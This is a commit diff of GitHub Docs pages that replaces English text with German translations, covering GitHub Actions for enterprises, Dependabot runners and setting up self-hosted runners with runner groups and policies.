- Stelle sicher, dass die Runner Zugriff auf das öffentliche Internet haben und nur auf die internen Netzwerke zugreifen können, die {% data variables.product.prodname_dependabot %} benötigt.
3. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)."
3. Weise jedem Runner eine `dependabot`-Bezeichnung zu, die {% data variables.product.prodname_dependabot %} verwenden soll. Weitere Informationen findest du unter [Verwenden von Bezeichnungen mit selbst gehosteten Runnern](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner).
4. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)."
4. Aktiviere optional Workflows, die von {% data variables.product.prodname_dependabot %} ausgelöst werden, um mehr als schreibgeschützte Berechtigungen zu verwenden und Zugriff auf alle Geheimnisse zu haben, die normalerweise verfügbar sind. Weitere Informationen findest du unter [Problembehandlung bei {% data variables.product.prodname_actions %} für dein Unternehmen](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: About GitHub Actions for enterprises
title: Informationen zu GitHub Actions für Unternehmen
shortTitle: About GitHub Actions
intro: '{% data variables.product.prodname_actions %} can improve developer productivity by automating your enterprise''s software development cycle.'
intro: '{% data variables.product.prodname_actions %} können die Produktivität von Entwicklern verbessern, indem sie den Softwareentwicklungszyklus deines Unternehmens automatisieren.'
versions:
ghec: '*'
ghes: '*'
@ -10,46 +10,47 @@ type: overview
topics:
- Actions
- Enterprise
ms.openlocfilehash: 682e5c4bc4b17105df59c4e5474bf46ec11fe211
ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/10/2022
ms.locfileid: '148160744'
---
## About {% data variables.product.prodname_actions %} for enterprises
## Informationen zu {% data variables.product.prodname_actions %} für Unternehmen
{% data reusables.actions.about-actions-for-enterprises %}
| Task | More information |
| Aufgabe | Weitere Informationen |
| ---- | ---------------- |
| Automatically test and build your application | "[About continuous integration](/actions/automating-builds-and-tests/about-continuous-integration)" |
| Deploy your application | "[About continuous deployment](/actions/deployment/about-deployments/about-continuous-deployment)" |
| Automatically and securely package code into artifacts and containers | "[About packaging with {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions)" |
| Automate your project management tasks | "[Using {% data variables.product.prodname_actions %} for project management](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management)" |
| Automatisches Testen und Erstellen deiner Anwendung | [Informationen zu Continuous Integration](/actions/automating-builds-and-tests/about-continuous-integration) |
| Bereitstellen der Anwendung | [Informationen zu Continuous Deployment](/actions/deployment/about-deployments/about-continuous-deployment) |
| Automatisches und sicheres Packen von Code in Artefakte und Container | [Informationen zum Verpacken mit {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions) |
| Automatisieren deiner Projektverwaltungsaufgaben | [Verwenden von {% data variables.product.prodname_actions %} für die Projektverwaltung](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management) |
{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation)" in the State of the Octoverse.
{% data variables.product.prodname_actions %} hilft deinem Team dabei, schneller und im großen Stil zu arbeiten. Wenn {% data variables.product.prodname_actions %} für große Repositorys eingeführt wird, führen Teams deutlich mehr Pull Requests pro Tag zusammen, und die Pull Requests werden erheblich schneller zusammengeführt. Weitere Informationen findest du im Zustandsbericht für das Octoverse unter [Schnelleres Schreiben und Bereitstellen von Code](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation).
You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."{% endif %}
Du kannst eigene individuelle Automatisierungen erstellen oder Workflows aus unserem Ökosystem mit über 10.000 Aktionen nutzen und anpassen, die von Branchenführern und der Open Source-Community erstellt wurden. {% ifversion ghec %}Weitere Informationen findest du unter [Suchen und Anpassen von Aktionen](/actions/learn-github-actions/finding-and-customizing-actions).{% else %}Du kannst festlegen, dass Entwickler nur Aktionen in {% data variables.location.product_location %} verwenden können. Alternativ kannst du Entwicklern Zugriff auf Aktionen auf {% data variables.product.prodname_dotcom_the_website %} gestatten. Weitere Informationen findest du unter [Informationen zum Verwenden von Aktionen in deinem Unternehmen](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise).{% endif %}
{% data variables.product.prodname_actions %} is developer friendly, because it's integrated directly into the familiar {% data variables.product.product_name %} experience.
{% data variables.product.prodname_actions %} ist entwicklerfreundlich, da es direkt in die vertraute Umgebung von {% data variables.product.product_name %} integriert ist.
{% ifversion ghec %}You can enjoy the convenience of {% data variables.product.company_short %}-hosted runners, which are maintained and upgraded by {% data variables.product.company_short %}, or you{% else %}You{% endif %} can control your own private CI/CD infrastructure by using self-hosted runners. Self-hosted runners allow you to determine the exact environment and resources that complete your builds, testing, and deployments, without exposing your software development cycle to the internet. For more information, see {% ifversion ghec %}"[About {% data variables.product.company_short %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and{% endif %} "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
{% ifversion ghec %}Du kannst die komfortablen, von {% data variables.product.company_short %} gehosteten Runner nutzen, die von {% data variables.product.company_short %} gepflegt und upgegradet werden. Alternativ kannst du{% else %}Du kannst{% endif %} deine eigene private CI/CD-Infrastruktur mit selbstgehosteten Runnern nutzen. Selbstgehostete Runner ermöglichen es dir, die exakte Umgebung und die Ressourcen zu bestimmen, die deine Builds, Tests und Bereitstellungen vervollständigen, ohne deinen Softwareentwicklungszyklus dem Internet auszusetzen. Weitere Informationen findest du unter {% ifversion ghec %}[Informationen zu von {% data variables.product.company_short %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners) sowie unter{% endif %} [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).
{% data variables.product.prodname_actions %} provides greater control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets.{% ifversion ghec or ghes > 3.4 %} If your workflows need to access resources from a cloud provider that supports OpenID Connect (OIDC), you can configure your workflows to authenticate directly to the cloud provider. OIDC provides security benefits such as eliminating the need to store credentials as long-lived secrets. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."{% endif %}
{% data variables.product.prodname_actions %} bietet mehr Kontrolle über Bereitstellungen. Du kannst beispielsweise Umgebungen verwenden, um festzulegen, dass für die Fortsetzung eines Auftrags eine Genehmigung erforderlich ist, um einzuschränken, von welchen Branches ein Workflow ausgelöst werden kann, und um den Zugriff auf Geheimnisse zu beschränken.{% ifversion ghec or ghes > 3.4 %} Wenn deine Workflows Zugriff auf Ressourcen eines Cloudanbieters benötigen, der OpenID Connect (OIDC) unterstützt, kannst du deine Workflows so konfigurieren, dass sie sich direkt beim Cloudanbieter authentifizieren. OIDC bietet Sicherheitsvorteile, indem es beispielsweise dafür sorgt, dass Anmeldeinformationen nicht als langlebige Geheimnisse gespeichert werden müssen. Weitere Informationen findest du unter [Informationen zur Sicherheitshärtung mit OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).{% endif %}
{% data variables.product.prodname_actions %} also includes tools to govern your enterprise's software development cycle and meet compliance obligations. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)."
{% data variables.product.prodname_actions %} enthält auch Tools zum Steuern des Softwareentwicklungszyklus deines Unternehmens sowie zum Erfüllen von Complianceverpflichtungen. Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise).
## About getting started with {% data variables.product.prodname_actions %}
## Informationen zu den ersten Schritten mit {% data variables.product.prodname_actions %}
{% data reusables.actions.introducing-enterprise %}
{% data reusables.actions.migrating-enterprise %}
{% ifversion ghes %}
{% data reusables.actions.ghes-actions-not-enabled-by-default %} After you finish planning, you can follow the instructions for enabling {% data variables.product.prodname_actions %}. For example, you may need to upgrade the CPU and memory resources for {% data variables.location.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)."
{% ifversion ghes %} {% data reusables.actions.ghes-actions-not-enabled-by-default %} Nach Abschluss der Planung kannst du die Schritte zum Aktivieren von {% data variables.product.prodname_actions %} ausführen. Beispielsweise kann es notwendig sein, ein Upgrade der CPU- und Speicherressourcen für {% data variables.location.product_location %} durchzuführen. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server).
{% else %}
After you finish planning, you can follow the instructions for getting started with {% data variables.product.prodname_actions %}. For more information, see {% ifversion ghec %}"[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_cloud %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud)."{% elsif ghae %}"[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae)."{% endif %}
{% endif %}
{% else %} Nach Abschluss der Planung kannst du den Anweisungen für die ersten Schritte mit {% data variables.product.prodname_actions %} folgen. Weitere Informationen findest du unter {% ifversion ghec %}[Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_cloud %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud).{% elsif ghae %}[Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae).{% endif %} {% endif %}
## Further reading
## Weiterführende Themen
- "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)"{% ifversion ghec %}
- "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)"{% endif %}
- [Grundlegendes zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion ghec %}
- [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions){% endif %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Getting started with self-hosted runners for your enterprise
title: Erste Schritte mit selbstgehosteten Runnern für dein Unternehmen
shortTitle: Self-hosted runners
intro: 'You can configure a runner machine for your enterprise so your developers can start automating workflows with {% data variables.product.prodname_actions %}.'
intro: 'Du kannst einen Runnercomputer für dein Unternehmen konfigurieren, damit deine Entwickler*innen Workflows mit {% data variables.product.prodname_actions %} automatisieren können.'
versions:
ghec: '*'
ghes: '*'
@ -12,137 +12,131 @@ topics:
- Actions
- Enterprise
- Fundamentals
ms.openlocfilehash: e369c7bf3a9da15cd4e0ee43f54815e89ab4b45a
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106621'
---
## Informationen zu selbstgehosteten Runnern für {% data variables.product.prodname_actions %}
## About self-hosted runners for {% data variables.product.prodname_actions %}
{% data reusables.actions.about-actions-for-enterprises %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %} für Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).
{% data reusables.actions.about-actions-for-enterprises %} For more information, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."
With {% data variables.product.prodname_actions %}, developers can write and combine individual tasks called actions to create custom workflows. {% ifversion ghes or ghae %}To enable {% data variables.product.prodname_actions %} for {% ifversion ghae %}your enterprise{% elsif ghes %} {% data variables.location.product_location %}{% endif %}, you must host at least one machine to execute jobs.{% endif %} {% ifversion ghec %}You can host your own runner machine to execute jobs, and this{% elsif ghes or ghae %}This{% endif %} machine is called a self-hosted runner. {% data reusables.actions.self-hosted-runner-locations %} {% data reusables.actions.self-hosted-runner-architecture %} {% ifversion ghec %}All{% elsif ghes or ghae %}Self-hosted{% endif %} runners can run Linux, Windows, or macOS. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
Mit {% data variables.product.prodname_actions %} können Entwickler einzelne Tasks schreiben und kombinieren, sogenannte Aktionen, um benutzerdefinierte Workflows zu erstellen. {% ifversion ghes or ghae %}Um {% data variables.product.prodname_actions %} für {% ifversion ghae %}dein Unternehmen{% elsif ghes %} {% data variables.location.product_location %}{% endif %}zu aktivieren, musst du mindestens einen Computer für die Ausführung von Aufträgen hosten.{% endif %} {% ifversion ghec %}Du kannst deinen eigenen Runnercomputer für die Ausführung von Aufträgen hosten. Dieser{% elsif ghes or ghae %}Dieser{% endif %} Computer wird als selbstgehosteter Runner bezeichnet. {% data reusables.actions.self-hosted-runner-locations %} {% data reusables.actions.self-hosted-runner-architecture %} {% ifversion ghec %}Alle{% elsif ghes or ghae %}Selbstgehostete{% endif %} Runner können Linux, Windows oder macOS ausführen. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners)“.
{% ifversion ghec %}
Alternatively, you can use runner machines that {% data variables.product.company_short %} hosts. {% data variables.product.company_short %}-hosted runners are outside the scope of this guide. For more information, see "[About {% data variables.product.company_short %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
Stattdessen kannst du Runnercomputer verwenden, die {% data variables.product.company_short %} -Hosts verwenden. Von {% data variables.product.company_short %} gehostete Runner werden in diesem Leitfaden nicht aufgegriffen. Weitere Informationen findest du unter [Informationen zu von {% data variables.product.company_short %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners).
{% endif %}
This guide shows you how to apply a centralized management approach to self-hosted runners for {% data variables.product.prodname_actions %} in your enterprise. In the guide, you'll complete the following tasks.
In diesem Leitfaden erfährst du, wie du einen zentralisierten Verwaltungsansatz für selbstgehostete Runner für {% data variables.product.prodname_actions %} in deinem Unternehmen umsetzt. Für diesen Leitfaden wirst du die folgenden Aufgaben ausführen:
1. Configure a limited policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run within your enterprise
1. Deploy a self-hosted runner for your enterprise
1. Create a group to manage access to the runners available to your enterprise
1. Optionally, further restrict the repositories that can use the runner
1. Optionally, build custom tooling to automatically scale your self-hosted runners
1. Konfigurieren einer eingeschränkte Richtlinie, um die Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows einzuschränken{% endif %}, die innerhalb deines Unternehmens ausgeführt werden können
1. Bereitstellen eines selbstgehosteten Runners für dein Unternehmen
1. Erstellen einer Gruppe zum Verwalten des Zugriffs auf die für dein Unternehmen verfügbaren Runner
1. Optionales weiteres Einschränken der Repositorys, die den Runner verwenden können
1. Optionales Erstellen benutzerdefinierter Tools, um deine selbstgehosteten Runner automatisch zu skalieren
You'll also find additional information about how to monitor and secure your self-hosted runners,{% ifversion ghes or ghae %} how to access actions from {% data variables.product.prodname_dotcom_the_website %},{% endif %} and how to customize the software on your runner machines.
Darüber hinaus findest du hier weitere Informationen zum Überwachen und Sichern deiner selbstgehosteten Runner,{% ifversion ghes or ghae %} zum Zugreifen auf Aktionen aus {% data variables.product.prodname_dotcom_the_website %}{% endif %} sowie zum Anpassen der Software auf deinen Runnercomputern.
After you finish the guide, {% ifversion ghec or ghae %}members of your enterprise{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %} will be able to run workflow jobs from {% data variables.product.prodname_actions %} on a self-hosted runner machine.
Nachdem du den Leitfaden durchgearbeitet hast, {% ifversion ghec or ghae %}können Mitglieder deines Unternehmens{% elsif ghes %}Benutzer von {% data variables.location.product_location %}{% endif %} Workflowaufträge aus {% data variables.product.prodname_actions %} auf einem selbstgehosteten Runnercomputer ausführen.
## Prerequisites
## Voraussetzungen
{% data reusables.actions.self-hosted-runners-prerequisites %}
- Your enterprise must own at least one organization. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
- Dein Unternehmen muss über mindestens eine Organisation verfügen. Weitere Informationen findest du unter [Informationen zu Organisationen](/organizations/collaborating-with-groups-in-organizations/about-organizations) und [Grundlegendes Neuerstellen einer Organisation](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch).
## 1. Configure policies for {% data variables.product.prodname_actions %}
## 1. Konfigurieren von Richtlinien für {% data variables.product.prodname_actions %}
First, enable {% data variables.product.prodname_actions %} for all organizations, and configure a policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run {% ifversion ghec or ghae%}within your enterprise on {% data variables.product.product_name %}{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}. Optionally, organization owners can further restrict these policies for each organization.
Aktiviere zunächst {% data variables.product.prodname_actions %} für alle Organisationen, und konfiguriere eine Richtlinie, um die Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbaren Workflows{% endif %} einzuschränken, die {% ifversion ghec or ghae%}innerhalb deines Unternehmens auf {% data variables.product.product_name %}{% elsif ghes %}auf {% data variables.location.product_location %}{% endif %} ausgeführt werden können. Optional können Organisationsbesitzer*innen diese Richtlinien für jede Organisation weiter einschränken.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.policies-tab %}
{% data reusables.enterprise-accounts.actions-tab %}
1. Under "Policies", select **Enable for all organizations**.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %}
1. Wähle unter „Richtlinien“ die Option **Für alle Organisationen aktivieren** aus.
![Screenshot of "Enable for all organizations" policy for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-enable-for-all-organizations.png)
1. Select {% data reusables.actions.policy-label-for-select-actions-workflows %} and **Allow actions created by GitHub** to allow local actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, and actions created by {% data variables.product.company_short %}.
![Screenshot der Richtlinie „Für alle Organisationen aktivieren“ für {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-enable-for-all-organizations.png)
1. Wähle {% data reusables.actions.policy-label-for-select-actions-workflows %} und **Von GitHub erstellte Aktionen zulassen** aus, um lokale Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} sowie Aktionen zuzulassen, die von {% data variables.product.company_short %} erstellt wurden.
{% ifversion actions-workflow-policy %}
![Screenshot of "Allow select actions" and "Allow actions created by {% data variables.product.company_short %}" for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github-with-workflows.png)
{%- else %}
![Screenshot of "Allow select actions" and "Allow actions created by {% data variables.product.company_short %}" for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github.png)
{%- endif %}
1. Click **Save**.
{% ifversion actions-workflow-policy %} ![ Screenshot von „Ausgewählte Aktionen zulassen“ und „Von {% data variables.product.company_short %} erstellte Aktionen zulassen“ für {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github-with-workflows.png) {%- else %} ![Screenshot von „Ausgewählte Aktionen zulassen“ und „Von {% data variables.product.company_short %} erstellte Aktionen zulassen“ für {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github.png) {%- endif %}
1. Klicke auf **Speichern**.
You can configure additional policies to restrict the actions available to {% ifversion ghec or ghae %}enterprise members{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#allowing-select-actions-to-run)."
Du kannst zusätzliche Richtlinien konfigurieren, um die für {% ifversion ghec or ghae %}Mitglieder des Unternehmens{% elsif ghes %}Benutzer von {% data variables.location.product_location %}{% endif %} verfügbaren Aktionen einzuschränken. Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#allowing-select-actions-to-run).
## 2. Deploy the self-hosted runner for your enterprise
## 2. Bereitstellen des selbstgehosteten Runners für dein Unternehmen
Next, add a self-hosted runner to your enterprise. {% data variables.product.product_name %} will guide you through installation of the necessary software on the runner machine. After you deploy the runner, you can verify connectivity between the runner machine and {%ifversion ghec or ghae %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.
Füge deinem Unternehmen als Nächstes einen selbstgehosteten Runner hinzu. {% data variables.product.product_name %} leitet dich durch die Installation der erforderlichen Software auf dem Runnercomputer. Nachdem du den Runner bereitgestellt hast, kannst du die Konnektivität zwischen dem Runnercomputer und {%ifversion ghec or ghae %}deinem Unternehmen{% elsif ghes %}{% data variables.location.product_location %}{% endif %} überprüfen.
### Adding the self-hosted runner
### Hinzufügen des selbstgehosteten Runners
{% data reusables.actions.self-hosted-runner-add-to-enterprise %}
{% data reusables.actions.self-hosted-runner-check-installation-success %}
## 3. Manage access to the self-hosted runner using a group
## 3. Verwalten des Zugriffs auf den selbstgehosteten Runner mithilfe einer Gruppe
You can create a runner group to manage access to the runner that you added to your enterprise. You'll use the group to choose which organizations can execute jobs from {% data variables.product.prodname_actions %} on the runner.
Du kannst eine Runnergruppe erstellen, um den Zugriff auf den Runner zu verwalten, den du deinem Unternehmen hinzugefügt hast. Mithilfe der Gruppe kannst du auswählen, welche Organisationen Aufträge aus {% data variables.product.prodname_actions %} auf dem Runner ausführen können.
{% data variables.product.product_name %} adds all new runners to a group. Runners can be in one group at a time. By default, {% data variables.product.product_name %} adds new runners to the "Default" group.
{% data variables.product.product_name %} fügt alle neuen Runner einer Gruppe hinzu. Runner können nur jeweils einer Gruppe zugewiesen werden. Standardmäßig fügt {% data variables.product.product_name %} alle neuen Runner einer Gruppe „Standard“ hinzu.
{% data reusables.actions.runner-groups-add-to-enterprise-first-steps %}
1. To choose a policy for organization access, under "Organization access", select the **Organization access** drop-down, and click **Selected organizations**.
1. To the right of the drop-down with the organization access policy, click {% octicon "gear" aria-label="The Gear icon" %}.
1. Select the organizations you'd like to grant access to the runner group.
1. Um eine Richtlinie für den Organisationszugriff auszuwählen, musst du unter **Organisationszugriff** das Dropdownmenü „Organisation“ öffnen und auf **Ausgewählte Organisationen** klicken.
1. Klicke rechts neben dem Dropdownmenü mit der Organisationszugriffsrichtlinie auf {% octicon "gear" aria-label="The Gear icon" %}.
1. Wähle die Organisationen aus, denen du Zugriff auf die Runnergruppe gewähren möchtest.
{%- ifversion ghec or ghes %}
1. Optionally, to allow public repositories in the selected organizations to use runners in the group, select **Allow public repositories**.
1. Um öffentlichen Repositorys in den ausgewählten Organisationen optional die Verwendung von Runnern in der Gruppe zu erlauben, wähle **Öffentliche Repositorys zulassen** aus.
{% warning %}
**Warning**:
**Warnung**:
{% indented_data_reference reusables.actions.self-hosted-runner-security spaces=3 %}
For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories).
{% endwarning %}
{%- endif %}
{% data reusables.actions.create-runner-group %}
{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
1. Click the "Runners" tab.
1. In the list of runners, click the runner that you deployed in the previous section.
1. Click **Edit**.
1. Click **Runner groups {% octicon "gear" aria-label="The Gear icon" %}**.
1. In the list of runner groups, click the name of the group that you previously created.
1. Click **Save** to move the runner to the group.
{% endwarning %} {%- endif %} {% data reusables.actions.create-runner-group %} {%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
1. Klicke auf die Registerkarte „Runner“.
1. Klicke in der Liste der Runner auf den Runner, den du im vorherigen Abschnitt bereitgestellt hast.
1. Klicken Sie auf **Bearbeiten**.
1. Klicke auf **Runnergruppen {% octicon "gear" aria-label="The Gear icon" %}** .
1. Klicke in der Liste der Runnergruppen auf den Namen der zuvor erstellten Gruppe.
1. Klicke auf **Speichern**, um den Runner in die Gruppe zu verschieben.
{%- elsif ghes < 3.4 or ghae %}
1. To the right of "Default", click the number of runners in the group to show the runners.
1. Select the runner that you deployed.
1. To the right of "Runner groups", select the **Move to group** dropdown, and click the group that you previously created.
1. Klicke rechts neben „Standard“ auf die Anzahl der Runner in der Gruppe, um die Runner anzuzeigen.
1. Wähle den Runner aus, den du bereitgestellt hast.
1. Öffne rechts neben „Runnergruppen“ das Dropdownmenü **In Gruppe verschieben**, und klicke auf die zuvor erstellte Gruppe.
{%- endif %}
You've now deployed a self-hosted runner that can run jobs from {% data variables.product.prodname_actions %} within the organizations that you specified.
Du hast jetzt einen selbstgehosteten Runner bereitgestellt, der Aufträge aus {% data variables.product.prodname_actions %} in den von dir angegebenen Organisationen ausführen kann.
## 4. Further restrict access to the self-hosted runner
## 4. Einschränken des Zugriffs auf den selbstgehosteten Runner
Optionally, organization owners can further restrict the access policy of the runner group that you created. For example, an organization owner could allow only certain repositories in the organization to use the runner group.
Optional können Organisationsbesitzer*innen die Zugriffsrichtlinie der von dir erstellten Runnergruppe weiter einschränken. Beispielsweise kann ein*e Organisationsbesitzer*in nur bestimmten Repositorys in der Organisation erlauben, die Runnergruppe zu verwenden.
For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group).
## 5. Automatically scale your self-hosted runners
## 5. Automatisches Skalieren deines selbstgehosteten Runners
Optionally, you can build custom tooling to automatically scale the self-hosted runners for {% ifversion ghec or ghae %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For example, your tooling can respond to webhook events from {% data variables.location.product_location %} to automatically scale a cluster of runner machines. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
Optional kannst du benutzerdefinierte Tools erstellen, um die selbstgehosteten Runner automatisch für {% ifversion ghec or ghae %}dein Unternehmen{% elsif ghes %}{% data variables.location.product_location %}{% endif %} zu skalieren. Deine Tools können beispielsweise auf Webhookereignisse von {% data variables.location.product_location %} reagieren, um automatisch einen Cluster von Runnercomputern zu skalieren. Weitere Informationen findest du unter [Automatische Skalierung mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners).
## Next steps
## Nächste Schritte
- You can monitor self-hosted runners and troubleshoot common issues. For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
- Du kannst selbstgehostete Runner überwachen und häufige Probleme beheben. Weitere Informationen findest du unter [Überwachen von und Behandeln von Problemen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners).
- {% data variables.product.company_short %} recommends that you review security considerations for self-hosted runner machines. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
- {% data variables.product.company_short %} empfiehlt, die Sicherheitshinweise für selbstgehostete Runnercomputer zu lesen. Weitere Informationen findest du unter [Sicherheitshärtung für {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
